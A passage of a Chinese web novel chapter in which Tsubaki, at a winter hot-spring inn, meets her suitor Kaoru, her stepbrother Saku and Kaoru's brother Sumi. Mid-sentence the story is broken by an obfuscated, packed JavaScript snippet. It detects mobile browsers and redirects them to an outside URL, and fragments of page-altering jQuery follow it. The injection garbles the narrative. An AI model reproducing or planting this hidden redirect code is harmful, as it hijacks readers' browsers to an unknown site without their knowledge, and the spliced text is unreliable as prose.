初冬的晨光透过和纸拉门，椿拥着锦被坐起身，丝绸衬里滑过肩头。她将被子披在肩上，捧起阿冬早已备好的热茶，望着廊外庭院。


    石灯笼顶上积着残雪，引来的温泉水在溪涧流淌，蒸起白雾，几株迟开的寒菊在薄霜中垂着头。


    纸门外传来轻巧的脚步声。


    杏子和阿冬各捧黑漆食案进来，开始布设早餐。


    “小姐总算醒了。”杏子笑着说，“刚才我去取泉水，在梅林那边看见熏少爷了。”她故意停顿，见椿没有反应，才继续道，“没想到他还记得我是您的侍女呢。”


    椿从锦被里探出身，阿冬立即将一件绀色厚羽织披在她肩上，羽织里衬用了绯红色绢。


    “他问了什么？”椿接过阿冬递来的筷子。


    “说劳烦我们劝小姐多出去走走。”杏子模仿着贵公子的腔调，“‘若是椿小姐总待在寝间，我倒不便叨扰了’。”


    椿举起桧木箸作势要敲她：“这么快就倒戈了？”


    杏子笑着讨饶，阿冬绕到小姐身后，用黄杨木梳将她披散的长发松松挽起。


    “不过一条家应了约来，总是要见一面的。”椿小口吃着鲑鱼西京烧。


    阿冬问她：“小姐昨夜睡得好吗？”


    椿点点头。


    昨晚被辉夜那样一闹，倒是全身乏力，入睡得快。


    阿冬正在整理食案，闻言抬头：“那就好，我还担心收拾行李时忘了拿您枕的干花枕头，小姐会睡不惯。”


    她轻声补充，“茂君送来的，确实手艺精良。”


    早膳用毕，杏子为椿换好衣服，阿冬仔细调整太鼓结的位置。这时纸门外响起叩门声，小侍童的声音隔着门传来：


    “成濑小姐在吗？我家熏少爷想见您一面。”


    椿对镜整理发髻上的玳瑁笄，示意阿冬取来外套。


    临出门时，她回头对两个侍女笑道：“好不容易出来休息，你们自己去玩玩吧。”


    杏子惊喜地与阿冬交换眼神，还是尽责地将怀炉塞进小姐袖袋。


    晨光中的汤泉旅馆尚沉浸在冬日的静谧里，成濑椿随着年轻男仆穿过重重回廊。


    青石板铺就的小径上，昨夜凝结的薄霜在初升的日光下泛着细碎的银光。竹制添水在角落里发出规律的轻响，远处已有早开的寒梅探出墙头，淡粉花瓣上还挂着晶莹的冰棱，在微风中轻轻颤动。


    转过种着细竹的廊角，便望见连接东苑与主屋的那段长廊。


    成濑朔与一条熏正相对立在檐下，风铃铃舌上结着细小的冰晶。熏一身浅灰色羊毛袴，外罩墨色羽织。


    熏背对着她，先察觉到她到来的是朔。


    那双眼睛越过熏的肩头，注视着她一步步走近。直到熏因这注视而转身，朔才像是刚刚发现她似的，唤道：“姐姐。”


    熏唇角泛起温雅的笑意：“睡醒了？”


    朔的视线仍停留在椿的脸上：“姐姐还没睡醒呢。”


    这话语里的熟稔，仿佛他们平日便是这般亲近的姐弟。


    熏低头轻笑：“是我的不是，希望没有打扰椿小姐的好梦。”


    椿眨了眨眼：“那正好，我确实还没睡醒，就先回去了。”


    她作势转身，熏已几步来到她身侧和她并肩，从羽织内袋取出一个细长的桐木匣。


    “前日在京都的市集偶然得到的。”他打开匣子，里面静静躺着一支银簪，簪头打造成梅枝形态，五朵用珍珠镶嵌的花苞点缀其间，枝干上还刻着细若游丝的纹理。


    “觉得正合你的气质。”


    椿接过木匣，“梅枝的形态很生动。”


    “你能喜欢就好。”熏温和地笑着，将匣盖轻轻合上递到她手中。


    椿将木匣收进袖袋，目光转向仍立在原处的朔：“不知道你与朔这么熟。”


    “小时候常去府上拜访，有时恰逢椿小姐不在，长辈们便会请朔君来作陪。”


    熏从容应答，“往来多了，自然便熟悉了。”


    朔的唇角上牵，目光仍停留在椿的身上：“姐姐总是很忙。”


    熏的视线掠过朔，不过说他和朔有多熟稔也不见得。


    若是活泼的澄不在场，他与朔之间的对话总是简练而克制，最常见的开场总是围绕着椿。


    “椿小姐近日可好？”


    而朔的回答永远简洁得体：“姐姐很好。”


    如今细想，似乎每次与椿相见时朔总不在。


    这让他隐隐察觉到姐弟间微妙的关系。


    特别记得那年收到椿从京都寄来的信，他冒雨赶来为她入学之事说项时，无意间听得下人们窃语，说椿与朔前些日子曾激烈争执。


    待事毕返京前，恰在四条桥畔遇见朔，想起那些传闻他刚开口问："椿小姐说了你？”


    话未说完便被朔轻声打断。


    他回答的是，“管好你自己。”


    说完立刻意识到不妥，又向他道歉。


    但语言上的锋利，别人对于他们两个关系窥探的警惕，熏还是留意了好久。


    那时他便觉得这对姐弟的关系很奇怪，即使两人因为身份有些嫌隙，但还是不足以解释这种怪异。


    想了想，目光又落在椿身上。


    “一起走走吧。”熏轻声提议。


    他们沿着覆雪的小径缓步而行，将朔独自留在廊下。


    碎石铺就的小径上积雪被踩出细碎的声响，如同春蚕食叶。道旁梅树枝条交错，有些枝条不堪积雪重负，偶尔轻轻颤动撒落细碎的雪粉，在日光下闪烁如星尘。


    熏细心地为椿拂开垂到路中的梅枝。


    椿伸手轻触低垂的花枝，她的指尖刚触花瓣，一阵较强的风吹过，整片梅林顿时落英缤纷。


    熏侧身，为她遮挡这突如其来的花雨。


    待风势稍缓，他轻轻拂去落在她肩头的花瓣。


    “今早朔君来找我，询问我们婚事。”熏开口，“他似乎很在意你。”


    “是吗。”


    “我记得他小时候，每次见到我，总会说你好话。说你如何如何的好，要我好好对你。”他顿了顿，“即使在你严厉待他之后。”


    椿没有接话，她要怎么跟他说呢？


    她跟朔的关系要从哪里说起呢，她自己都不知道。


    日头渐渐升高，梅枝上的积雪开始融化，晶莹的水珠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300994|197308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顺着枝条滑落，在阳光下闪烁如碎钻。远处传来侍女们轻柔的说话声，伴随着木屐踏过石阶的清脆声响。


    他们沿着溪流继续前行，脚下的积雪发出轻微的咯吱声。梅树在这里变得稀疏，取而代之的是几株苍劲的松柏。


    转过一个弯，眼前出现一座小巧的木桥。


    “要过去看看吗？”熏轻声问道，目光越过木桥望向对岸那片开得正盛的红梅。


    椿微微点头，提着衣摆踏上木桥。


    对岸的红梅林比之前见过的都要茂密，花朵的颜色也格外浓艳。这些红梅树枝条舒展，花开得密密匝匝，几乎看不见枝干。


    熏小心地拨开一根横在路中的梅枝，为椿让出通路。


    一阵微风掠过，椿鬓边的发丝不慎被梅枝勾住，熏轻轻为她解开缠绕的青丝。


    熏的手指仍停留在她的发间，那缕被梅枝勾住的青丝虽已解脱，他却并未立即退开。


    温热的呼吸过她的耳廓：“今晚……可以去找你吗？”


    椿偏过头。


    疏影横斜的梅枝在微风中轻颤，抖落细雪般的花瓣，纷纷扬扬落在她肩头的羽织上。透过交错的花影，她能清晰地看见熏近在咫尺的眉眼。


    含着温润笑意的眼睛此刻格外深邃，挺直的鼻梁在玉色的脸颊投下淡淡的阴影，薄唇微微抿着，似乎在等待她的回应。


    他早前让杏子传话，说不方便叨扰，现在却言行不一。


    “是指悄悄地去？”她轻声问道。


    话音未落，便听见不远处传来踏碎枯枝的清脆声响。


    越过熏的肩头，她看见梅林小径尽头立着一个挺拔的身影。


    一条澄穿着一身剪裁合体的英式猎装，褐色呢料上还沾着几根草屑，锃亮的马靴上溅着点点泥泞。他左手拎着两只羽毛斑斓的山鸡，鲜红的血正从喙边缓缓滴落，在洁白的雪地上洇开点点红梅。


    椿想起杏子确实提过，一条家的二少爷带着几位朋友来附近的山林打猎。


    “兄长。”澄的目光在两人之间流转，最后定格在椿的身上，“椿小姐。”


    熏不动声色地直起身：“看来收获颇丰。”


    “打了些山鸡和野兔。”澄举起手中的猎物，“正好晚上要在溪边烧烤，椿小姐也一起来吧？”


    他咧开嘴笑，露出尖尖的虎牙，向前迈了一步，马靴踩在积雪上发出咯吱的声响。


    “不了。”熏替她回话，“你们那群人太闹腾，没个正经的。”


    澄的嘴角扯出一抹讥诮的弧度：“好不容易离开东京的拘束，难道还要像在家里一样，喝点热茶，早早安歇？”


    他的眼睛始终盯着椿。


    椿与他对视片刻，垂下眼。


    比起夏天在东京相遇时他确实清瘦了许多，原本略带稚气的下颌线条变得锋利，猎装的领口随意敞着，露出锁骨，整个人都透着一股野性的气息。


    “澄君是去关西历练了？”她礼貌地询问，“看上去瘦了些。”


    “在大阪的商社学了半年。”澄晃了晃手中的山鸡，“多谢椿小姐关心，我啊吃不好，也睡不好。”


    这话说得太过直白，太露骨。